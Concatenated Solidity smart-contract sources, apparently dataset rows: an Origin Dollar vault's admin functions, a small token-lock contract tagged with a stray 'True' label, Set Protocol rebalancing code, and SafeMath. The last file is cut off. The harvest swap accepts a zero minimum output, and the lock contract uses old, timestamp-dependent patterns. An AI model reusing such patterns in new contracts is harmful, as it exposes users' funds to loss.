allStrategies.push(_addr);
emit StrategyApproved(_addr);
}
/**
* @dev Remove a strategy from the Vault. Removes all invested assets and
* returns them to the Vault.
* @param _addr Address of the strategy to remove
*/
function removeStrategy(address _addr) external onlyGovernor {
require(strategies[_addr].isSupported, "Strategy not approved");
// Initialize strategyIndex with out of bounds result so function will
// revert if no valid index found
uint256 strategyIndex = allStrategies.length;
for (uint256 i = 0; i < allStrategies.length; i++) {
if (allStrategies[i] == _addr) {
strategyIndex = i;
break;
}
}
if (strategyIndex < allStrategies.length) {
allStrategies[strategyIndex] = allStrategies[allStrategies.length -
1];
allStrategies.pop();
// Withdraw all assets
IStrategy strategy = IStrategy(_addr);
strategy.withdrawAll();
// Call harvest after withdraw in case withdraw triggers
// distribution of additional reward tokens (true for Compound)
_harvest(_addr);
emit StrategyRemoved(_addr);
}
// Clean up struct in mapping, this can be removed later
// See https://github.com/OriginProtocol/origin-dollar/issues/324
strategies[_addr].isSupported = false;
}
/**
* @notice Move assets from one Strategy to another
* @param _strategyFromAddress Address of Strategy to move assets from.
* @param _strategyToAddress Address of Strategy to move assets to.
* @param _assets Array of asset address that will be moved
* @param _amounts Array of amounts of each corresponding asset to move.
*/
function reallocate(
address _strategyFromAddress,
address _strategyToAddress,
address[] calldata _assets,
uint256[] calldata _amounts
) external onlyGovernorOrStrategist {
require(
strategies[_strategyFromAddress].isSupported,
"Invalid from Strategy"
);
require(
strategies[_strategyToAddress].isSupported,
"Invalid to Strategy"
);
require(_assets.length == _amounts.length, "Parameter length mismatch");
IStrategy strategyFrom = IStrategy(_strategyFromAddress);
IStrategy strategyTo = IStrategy(_strategyToAddress);
for (uint256 i = 0; i < _assets.length; i++) {
require(strategyTo.supportsAsset(_assets[i]), "Asset unsupported");
// Withdraw from Strategy and pass other Strategy as recipient
strategyFrom.withdraw(address(strategyTo), _assets[i], _amounts[i]);
}
// Tell new Strategy to deposit into protocol
strategyTo.depositAll();
}
/**
* @dev Sets the maximum allowable difference between
* total supply and backing assets' value.
*/
function setMaxSupplyDiff(uint256 _maxSupplyDiff) external onlyGovernor {
maxSupplyDiff = _maxSupplyDiff;
emit MaxSupplyDiffChanged(_maxSupplyDiff);
}
/**
* @dev Sets the trusteeAddress that can receive a portion of yield.
* Setting to the zero address disables this feature.
*/
function setTrusteeAddress(address _address) external onlyGovernor {
trusteeAddress = _address;
emit TrusteeAddressChanged(_address);
}
/**
* @dev Sets the TrusteeFeeBps to the percentage of yield that should be
* received in basis points.
*/
function setTrusteeFeeBps(uint256 _basis) external onlyGovernor {
require(_basis <= 5000, "basis cannot exceed 50%");
trusteeFeeBps = _basis;
emit TrusteeFeeBpsChanged(_basis);
}
/***************************************
Pause
****************************************/
/**
* @dev Set the deposit paused flag to true to prevent rebasing.
*/
function pauseRebase() external onlyGovernorOrStrategist {
rebasePaused = true;
emit RebasePaused();
}
/**
* @dev Set the deposit paused flag to true to allow rebasing.
*/
function unpauseRebase() external onlyGovernor {
rebasePaused = false;
emit RebaseUnpaused();
}
/**
* @dev Set the deposit paused flag to true to prevent capital movement.
*/
function pauseCapital() external onlyGovernorOrStrategist {
capitalPaused = true;
emit CapitalPaused();
}
/**
* @dev Set the deposit paused flag to false to enable capital movement.
*/
function unpauseCapital() external onlyGovernorOrStrategist {
capitalPaused = false;
emit CapitalUnpaused();
}
/***************************************
Rewards
****************************************/
/**
* @dev Transfer token to governor. Intended for recovering tokens stuck in
* contract, i.e. mistaken sends.
* @param _asset Address for the asset
* @param _amount Amount of the asset to transfer
*/
function transferToken(address _asset, uint256 _amount)
external
onlyGovernor
{
require(!assets[_asset].isSupported, "Only unsupported assets");
IERC20(_asset).safeTransfer(governor(), _amount);
}
/**
* @dev Collect reward tokens from all strategies and swap for supported
* stablecoin via Uniswap
*/
function harvest() external onlyGovernorOrStrategist {
for (uint256 i = 0; i < allStrategies.length; i++) {
_harvest(allStrategies[i]);
}
}
/**
* @dev Collect reward tokens for a specific strategy and swap for supported
* stablecoin via Uniswap. Called from the vault.
* @param _strategyAddr Address of the strategy to collect rewards from
*/
function harvest(address _strategyAddr)
external
onlyVaultOrGovernorOrStrategist
returns (uint256[] memory)
{
return _harvest(_strategyAddr);
}
/**
* @dev Collect reward tokens from a single strategy and swap them for a
* supported stablecoin via Uniswap
* @param _strategyAddr Address of the strategy to collect rewards from
*/
function _harvest(address _strategyAddr)
internal
returns (uint256[] memory)
{
IStrategy strategy = IStrategy(_strategyAddr);
address rewardTokenAddress = strategy.rewardTokenAddress();
if (rewardTokenAddress != address(0)) {
strategy.collectRewardToken();
if (uniswapAddr != address(0)) {
IERC20 rewardToken = IERC20(strategy.rewardTokenAddress());
uint256 rewardTokenAmount = rewardToken.balanceOf(
address(this)
);
if (rewardTokenAmount > 0) {
// Give Uniswap full amount allowance
rewardToken.safeApprove(uniswapAddr, 0);
rewardToken.safeApprove(uniswapAddr, rewardTokenAmount);
// Uniswap redemption path
address[] memory path = new address[](3);
path[0] = strategy.rewardTokenAddress();
path[1] = IUniswapV2Router(uniswapAddr).WETH();
path[2] = allAssets[1]; // USDT
return
IUniswapV2Router(uniswapAddr).swapExactTokensForTokens(
rewardTokenAmount,
uint256(0),
path,
address(this),
now.add(1800)
);
}
}
}
}
/***************************************
Pricing
****************************************/
/**
* @dev Returns the total price in 18 digit USD for a given asset.
* Never goes above 1, since that is how we price mints
* @param asset address of the asset
* @return uint256 USD price of 1 of the asset, in 18 decimal fixed
*/
function priceUSDMint(address asset) external view returns (uint256) {
uint256 price = IOracle(priceProvider).price(asset);
if (price > 1e8) {
price = 1e8;
}
// Price from Oracle is returned with 8 decimals
// scale to 18 so 18-8=10
return price.scaleBy(10);
}
/**
* @dev Returns the total price in 18 digit USD for a given asset.
* Never goes below 1, since that is how we price redeems
* @param asset Addresss of the asset
* @return uint256 USD price of 1 of the asset, in 18 decimal fixed
*/
function priceUSDRedeem(address asset) external view returns (uint256) {
uint256 price = IOracle(priceProvider).price(asset);
if (price < 1e8) {
price = 1e8;
}
// Price from Oracle is returned with 8 decimals
// scale to 18 so 18-8=10
return price.scaleBy(10);
}
/***************************************
Strategies Admin
****************************************/
/**
* @dev Withdraws all assets from the strategy and sends assets to the Vault.
* @param _strategyAddr Strategy address.
*/
function withdrawAllFromStrategy(address _strategyAddr)
external
onlyGovernorOrStrategist
{
require(
strategies[_strategyAddr].isSupported,
"Strategy is not supported"
);
IStrategy strategy = IStrategy(_strategyAddr);
strategy.withdrawAll();
}
/**
* @dev Withdraws all assets from all the strategies and sends assets to the Vault.
*/
function withdrawAllFromStrategies() external onlyGovernorOrStrategist {
for (uint256 i = 0; i < allStrategies.length; i++) {
IStrategy strategy = IStrategy(allStrategies[i]);
strategy.withdrawAll();
}
}
}
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|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30499200;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x0108E398aD7301b0ff4715319448eC747607A196;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | True | [
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|
/*
Copyright 2021 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { FlexibleLeverageStrategyExtension } from "../adapters/FlexibleLeverageStrategyExtension.sol";
import { IFLIStrategyExtension } from "../interfaces/IFLIStrategyExtension.sol";
import { IQuoter } from "../interfaces/IQuoter.sol";
import { IUniswapV2Router } from "../interfaces/IUniswapV2Router.sol";
import { PreciseUnitMath } from "../lib/PreciseUnitMath.sol";
import { StringArrayUtils } from "../lib/StringArrayUtils.sol";
/**
* @title FLIRebalanceViewer
* @author Set Protocol
*
* Viewer contract for FlexibleLeverageStrategyExtension. Used by keeper bots to determine which exchanges to use when rebalancing.
* This contract can only determine whether to use Uniswap V3 or Uniswap V2 (or forks) for rebalancing. Since AMMTradeSplitter adheres to
* the Uniswap V2 router interface, this contract is compatible with that as well.
*/
contract FLIRebalanceViewer {
using PreciseUnitMath for uint256;
using SafeMath for uint256;
using StringArrayUtils for string[];
/* ============ Structs ============ */
struct ActionInfo {
string[] exchangeNames; // List of enabled exchange names
FlexibleLeverageStrategyExtension.ShouldRebalance[] rebalanceActions; // List of rebalance actions with respect to exchangeNames
uint256 uniV3Index; // Index of Uni V3 in both lists
uint256 uniV2Index; // Index of Uni V2 in both lists
uint256 minLeverage; // Minimum leverage ratio of strategy
uint256 maxLeverage; // Maximum leverage ratio of strategy
uint256[] chunkSendQuantity; // Size of rebalances (quoted in sell asset units)
address sellAsset; // Address of asset to sell during rebalance
address buyAsset; // Address of asset to buy during rebalance
bool isLever; // Whether the rebalance is a lever or delever
}
/* ============ State Variables ============ */
IFLIStrategyExtension public fliStrategyExtension;
IQuoter public uniswapV3Quoter;
IUniswapV2Router public uniswapV2Router;
string public uniswapV3ExchangeName;
string public uniswapV2ExchangeName;
/* ============ Constructor ============ */
/**
* Sets state variables
*
* @param _fliStrategyExtension FlexibleLeverageStrategyAdapter contract address
* @param _uniswapV3Quoter Uniswap V3 Quoter contract address
* @param _uniswapV2Router Uniswap v2 Router contract address
* @param _uniswapV3ExchangeName Name of Uniswap V3 exchange in Set's IntegrationRegistry (ex: UniswapV3ExchangeAdapter)
* @param _uniswapV2ExchangeName Name of Uniswap V2 exchange in Set's IntegrationRegistry (ex: AMMSplitterExchangeAdapter)
*/
constructor(
IFLIStrategyExtension _fliStrategyExtension,
IQuoter _uniswapV3Quoter,
IUniswapV2Router _uniswapV2Router,
string memory _uniswapV3ExchangeName,
string memory _uniswapV2ExchangeName
)
public
{
fliStrategyExtension = _fliStrategyExtension;
uniswapV3Quoter = _uniswapV3Quoter;
uniswapV2Router = _uniswapV2Router;
uniswapV3ExchangeName = _uniswapV3ExchangeName;
uniswapV2ExchangeName = _uniswapV2ExchangeName;
}
/* =========== External Functions ============ */
/**
* Gets the priority order for which exchange should be used while rebalancing. Mimics the interface for
* shouldRebalanceWithBound of FlexibleLeverageStrategyExtension. Note: this function is not marked as view
* due to a quirk in the Uniswap V3 Quoter contract, but should be static called to save gas
*
* @param _minLeverageRatio Min leverage ratio
* @param _maxLeverageRatio Max leverage ratio
*
* @return string[] memory Ordered array of exchange names to use. Earlier elements in the array produce the best trades
* @return ShouldRebalance[] memory Array of ShouldRebalance Enums. Ordered relative to returned exchange names array
*/
function shouldRebalanceWithBounds(
uint256 _minLeverageRatio,
uint256 _maxLeverageRatio
)
external
returns(string[2] memory, FlexibleLeverageStrategyExtension.ShouldRebalance[2] memory)
{
ActionInfo memory actionInfo = _getActionInfo(_minLeverageRatio, _maxLeverageRatio);
(uint256 uniswapV3Price, uint256 uniswapV2Price) = _getPrices(actionInfo);
return _getExchangePriority(
uniswapV3Price,
uniswapV2Price,
actionInfo
);
}
/* ================= Internal Functions ================= */
/**
* Fetches prices for rebalancing trades on Uniswap V3 and Uniswap V2. Trade sizes are determined by FlexibleLeverageStrategyExtension's
* getChunkRebalanceNotional.
*
* @param _actionInfo ActionInfo struct
*
* @return uniswapV3Price price of rebalancing trade on Uniswap V3 (scaled by trade size)
* @return uniswapV2Price price of rebalancing trade on Uniswap V2 (scaled by trade size)
*/
function _getPrices(ActionInfo memory _actionInfo) internal returns (uint256 uniswapV3Price, uint256 uniswapV2Price) {
uniswapV3Price = _getV3Price(_actionInfo.chunkSendQuantity[_actionInfo.uniV3Index], _actionInfo.isLever);
uniswapV2Price = _getV2Price(
_actionInfo.chunkSendQuantity[_actionInfo.uniV2Index],
_actionInfo.isLever, _actionInfo.sellAsset, _actionInfo.buyAsset
);
}
/**
* Fetches price of a Uniswap V3 trade. Uniswap V3 fetches quotes using a write function that always reverts. This means that
* this function cannot be view only. Additionally, the Uniswap V3 quoting function cannot be static called in solidity due to the
* internal revert. To save on gas, static call the top level shouldRebalanceWithBounds function when interacting with this contact
*
* @param _sellSize quantity of asset to sell
* @param _isLever whether FLI needs to lever or delever
*
* @return uint256 price of trade on Uniswap V3
*/
function _getV3Price(uint256 _sellSize, bool _isLever) internal returns (uint256) {
bytes memory uniswapV3TradePath = _isLever ?
fliStrategyExtension.getExchangeSettings(uniswapV3ExchangeName).leverExchangeData :
fliStrategyExtension.getExchangeSettings(uniswapV3ExchangeName).deleverExchangeData;
uint256 outputAmount = uniswapV3Quoter.quoteExactInput(uniswapV3TradePath, _sellSize);
// Divide to get ratio of quote / base asset. Don't care about decimals here. Standardizes to 10e18 with preciseDiv
return outputAmount.preciseDiv(_sellSize);
}
/**
* Fetches price of a Uniswap V2 trade
*
* @param _sellSize quantity of asset to sell
* @param _isLever whether FLI needs to lever or delever
*
* @return uint256 price of trade on Uniswap V2
*/
function _getV2Price(uint256 _sellSize, bool _isLever, address _sellAsset, address _buyAsset) internal view returns (uint256) {
bytes memory uniswapV2TradePathRaw = _isLever ?
fliStrategyExtension.getExchangeSettings(uniswapV2ExchangeName).leverExchangeData :
fliStrategyExtension.getExchangeSettings(uniswapV2ExchangeName).deleverExchangeData;
address[] memory uniswapV2TradePath;
if (uniswapV2TradePathRaw.length == 0) {
uniswapV2TradePath = new address[](2);
uniswapV2TradePath[0] = _sellAsset;
uniswapV2TradePath[1] = _buyAsset;
} else {
uniswapV2TradePath = abi.decode(uniswapV2TradePathRaw, (address[]));
}
uint256 outputAmount = uniswapV2Router.getAmountsOut(_sellSize, uniswapV2TradePath)[uniswapV2TradePath.length.sub(1)];
// Divide to get ratio of quote / base asset. Don't care about decimals here. Standardizes to 10e18 with preciseDiv
return outputAmount.preciseDiv(_sellSize);
}
/**
* Gets the ordered priority of which exchanges to use for a rebalance
*
* @param _uniswapV3Price price of rebalance trade on Uniswap V3
* @param _uniswapV2Price price of rebalance trade on Uniswap V2
* @param _actionInfo ActionInfo struct
*
* @return string[] memory Ordered array of exchange names to use. Earlier elements in the array produce the best trades
* @return ShouldRebalance[] memory Array of ShouldRebalance Enums. Ordered relative to returned exchange names array
*/
function _getExchangePriority(
uint256 _uniswapV3Price,
uint256 _uniswapV2Price,
ActionInfo memory _actionInfo
)
internal
view
returns (string[2] memory, FlexibleLeverageStrategyExtension.ShouldRebalance[2] memory)
{
// If no rebalance is required, set price to 0 so it is ordered last
if (_actionInfo.rebalanceActions[_actionInfo.uniV3Index] == FlexibleLeverageStrategyExtension.ShouldRebalance.NONE) _uniswapV3Price = 0;
if (_actionInfo.rebalanceActions[_actionInfo.uniV2Index] == FlexibleLeverageStrategyExtension.ShouldRebalance.NONE) _uniswapV2Price = 0;
if (_uniswapV3Price > _uniswapV2Price) {
return ([ uniswapV3ExchangeName, uniswapV2ExchangeName ],
[ _actionInfo.rebalanceActions[_actionInfo.uniV3Index], _actionInfo.rebalanceActions[_actionInfo.uniV2Index] ]);
} else {
return ([ uniswapV2ExchangeName, uniswapV3ExchangeName ],
[ _actionInfo.rebalanceActions[_actionInfo.uniV2Index], _actionInfo.rebalanceActions[_actionInfo.uniV3Index] ]);
}
}
/**
* Creates the an ActionInfo struct containing information about the rebalancing action
*
* @param _minLeverage Min leverage ratio
* @param _maxLeverage Max leverage ratio
*
* @return actionInfo Populated ActionInfo struct
*/
function _getActionInfo(uint256 _minLeverage, uint256 _maxLeverage) internal view returns (ActionInfo memory actionInfo) {
(actionInfo.exchangeNames, actionInfo.rebalanceActions) = fliStrategyExtension.shouldRebalanceWithBounds(
_minLeverage,
_maxLeverage
);
(actionInfo.uniV3Index, ) = actionInfo.exchangeNames.indexOf(uniswapV3ExchangeName);
(actionInfo.uniV2Index, ) = actionInfo.exchangeNames.indexOf(uniswapV2ExchangeName);
actionInfo.minLeverage = _minLeverage;
actionInfo.maxLeverage = _maxLeverage;
(actionInfo.chunkSendQuantity, actionInfo.sellAsset, actionInfo.buyAsset) = fliStrategyExtension.getChunkRebalanceNotional(
actionInfo.exchangeNames
);
actionInfo.isLever = actionInfo.sellAsset == fliStrategyExtension.getStrategy().borrowAsset;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
Copyright 2021 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { Math } from "@openzeppelin/contracts/math/Math.sol";
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { SafeCast } from "@openzeppelin/contracts/utils/SafeCast.sol";
import { BaseAdapter } from "../lib/BaseAdapter.sol";
import { ICErc20 } from "../interfaces/ICErc20.sol";
import { IBaseManager } from "../interfaces/IBaseManager.sol";
import { IChainlinkAggregatorV3 } from "../interfaces/IChainlinkAggregatorV3.sol";
import { IComptroller } from "../interfaces/IComptroller.sol";
import { ICompoundLeverageModule } from "../interfaces/ICompoundLeverageModule.sol";
import { ICompoundPriceOracle } from "../interfaces/ICompoundPriceOracle.sol";
import { ISetToken } from "../interfaces/ISetToken.sol";
import { PreciseUnitMath } from "../lib/PreciseUnitMath.sol";
import { StringArrayUtils } from "../lib/StringArrayUtils.sol";
/**
* @title FlexibleLeverageStrategyExtension
* @author Set Protocol
*
* Smart contract that enables trustless leverage tokens using the flexible leverage methodology. This extension is paired with the CompoundLeverageModule from Set
* protocol where module interactions are invoked via the IBaseManager contract. Any leveraged token can be constructed as long as the collateral and borrow
* asset is available on Compound. This extension contract also allows the operator to set an ETH reward to incentivize keepers calling the rebalance function at
* different leverage thresholds.
*
* CHANGELOG 4/14/2021:
* - Update ExecutionSettings struct to split exchangeData into leverExchangeData and deleverExchangeData
* - Update _lever and _delever internal functions with struct changes
* - Update setExecutionSettings to account for leverExchangeData and deleverExchangeData
*
* CHANGELOG 5/24/2021:
* - Update _calculateActionInfo to add chainlink prices
* - Update _calculateBorrowUnits and _calculateMinRepayUnits to use chainlink as an oracle in
*
* CHANGELOG 6/29/2021: c55bd3cdb0fd43c03da9904493dcc23771ef0f71
* - Add ExchangeSettings struct that contains exchange specific information
* - Update ExecutionSettings struct to not include exchange information
* - Add mapping of exchange names to ExchangeSettings structs and a list of enabled exchange names
* - Update constructor to take an array of exchange names and an array of ExchangeSettings
* - Add _exchangeName parameter to rebalancing functions to select which exchange to use
* - Add permissioned addEnabledExchange, updateEnabledExchange, and removeEnabledExchange functions
* - Add getChunkRebalanceNotional function
* - Update shouldRebalance and shouldRebalanceWithBounds to return an array of ShouldRebalance enums and an array of exchange names
* - Update _shouldRebalance to use exchange specific last trade timestamps
* - Update _validateRipcord and _validateNormalRebalance to take in a timestamp parameter (so we can pass either global or exchange specific timestamp)
* - Add _updateLastTradeTimestamp function to update global and exchange specific timestamp
* - Change contract name to FlexibleLeverageStrategyExtension
*/
contract FlexibleLeverageStrategyExtension is BaseAdapter {
using Address for address;
using PreciseUnitMath for uint256;
using SafeMath for uint256;
using SafeCast for int256;
using StringArrayUtils for string[];
/* ============ Enums ============ */
enum ShouldRebalance {
NONE, // Indicates no rebalance action can be taken
REBALANCE, // Indicates rebalance() function can be successfully called
ITERATE_REBALANCE, // Indicates iterateRebalance() function can be successfully called
RIPCORD // Indicates ripcord() function can be successfully called
}
/* ============ Structs ============ */
struct ActionInfo {
uint256 collateralBalance; // Balance of underlying held in Compound in base units (e.g. USDC 10e6)
uint256 borrowBalance; // Balance of underlying borrowed from Compound in base units
uint256 collateralValue; // Valuation in USD adjusted for decimals in precise units (10e18)
uint256 borrowValue; // Valuation in USD adjusted for decimals in precise units (10e18)
uint256 collateralPrice; // Price of collateral in precise units (10e18) from Chainlink
uint256 borrowPrice; // Price of borrow asset in precise units (10e18) from Chainlink
uint256 setTotalSupply; // Total supply of SetToken
}
struct LeverageInfo {
ActionInfo action;
uint256 currentLeverageRatio; // Current leverage ratio of Set
uint256 slippageTolerance; // Allowable percent trade slippage in preciseUnits (1% = 10^16)
uint256 twapMaxTradeSize; // Max trade size in collateral units allowed for rebalance action
string exchangeName; // Exchange to use for trade
}
struct ContractSettings {
ISetToken setToken; // Instance of leverage token
ICompoundLeverageModule leverageModule; // Instance of Compound leverage module
IComptroller comptroller; // Instance of Compound Comptroller
IChainlinkAggregatorV3 collateralPriceOracle; // Chainlink oracle feed that returns prices in 8 decimals for collateral asset
IChainlinkAggregatorV3 borrowPriceOracle; // Chainlink oracle feed that returns prices in 8 decimals for borrow asset
ICErc20 targetCollateralCToken; // Instance of target collateral cToken asset
ICErc20 targetBorrowCToken; // Instance of target borrow cToken asset
address collateralAsset; // Address of underlying collateral
address borrowAsset; // Address of underlying borrow asset
uint256 collateralDecimalAdjustment; // Decimal adjustment for chainlink oracle of the collateral asset. Equal to 28-collateralDecimals (10^18 * 10^18 / 10^decimals / 10^8)
uint256 borrowDecimalAdjustment; // Decimal adjustment for chainlink oracle of the borrowing asset. Equal to 28-borrowDecimals (10^18 * 10^18 / 10^decimals / 10^8)
}
struct MethodologySettings {
uint256 targetLeverageRatio; // Long term target ratio in precise units (10e18)
uint256 minLeverageRatio; // In precise units (10e18). If current leverage is below, rebalance target is this ratio
uint256 maxLeverageRatio; // In precise units (10e18). If current leverage is above, rebalance target is this ratio
uint256 recenteringSpeed; // % at which to rebalance back to target leverage in precise units (10e18)
uint256 rebalanceInterval; // Period of time required since last rebalance timestamp in seconds
}
struct ExecutionSettings {
uint256 unutilizedLeveragePercentage; // Percent of max borrow left unutilized in precise units (1% = 10e16)
uint256 slippageTolerance; // % in precise units to price min token receive amount from trade quantities
uint256 twapCooldownPeriod; // Cooldown period required since last trade timestamp in seconds
}
struct ExchangeSettings {
uint256 twapMaxTradeSize; // Max trade size in collateral base units
uint256 exchangeLastTradeTimestamp; // Timestamp of last trade made with this exchange
uint256 incentivizedTwapMaxTradeSize; // Max trade size for incentivized rebalances in collateral base units
bytes leverExchangeData; // Arbitrary exchange data passed into rebalance function for levering up
bytes deleverExchangeData; // Arbitrary exchange data passed into rebalance function for delevering
}
struct IncentiveSettings {
uint256 etherReward; // ETH reward for incentivized rebalances
uint256 incentivizedLeverageRatio; // Leverage ratio for incentivized rebalances
uint256 incentivizedSlippageTolerance; // Slippage tolerance percentage for incentivized rebalances
uint256 incentivizedTwapCooldownPeriod; // TWAP cooldown in seconds for incentivized rebalances
}
/* ============ Events ============ */
event Engaged(uint256 _currentLeverageRatio, uint256 _newLeverageRatio, uint256 _chunkRebalanceNotional, uint256 _totalRebalanceNotional);
event Rebalanced(
uint256 _currentLeverageRatio,
uint256 _newLeverageRatio,
uint256 _chunkRebalanceNotional,
uint256 _totalRebalanceNotional
);
event RebalanceIterated(
uint256 _currentLeverageRatio,
uint256 _newLeverageRatio,
uint256 _chunkRebalanceNotional,
uint256 _totalRebalanceNotional
);
event RipcordCalled(
uint256 _currentLeverageRatio,
uint256 _newLeverageRatio,
uint256 _rebalanceNotional,
uint256 _etherIncentive
);
event Disengaged(uint256 _currentLeverageRatio, uint256 _newLeverageRatio, uint256 _chunkRebalanceNotional, uint256 _totalRebalanceNotional);
event MethodologySettingsUpdated(
uint256 _targetLeverageRatio,
uint256 _minLeverageRatio,
uint256 _maxLeverageRatio,
uint256 _recenteringSpeed,
uint256 _rebalanceInterval
);
event ExecutionSettingsUpdated(
uint256 _unutilizedLeveragePercentage,
uint256 _twapCooldownPeriod,
uint256 _slippageTolerance
);
event IncentiveSettingsUpdated(
uint256 _etherReward,
uint256 _incentivizedLeverageRatio,
uint256 _incentivizedSlippageTolerance,
uint256 _incentivizedTwapCooldownPeriod
);
event ExchangeUpdated(
string _exchangeName,
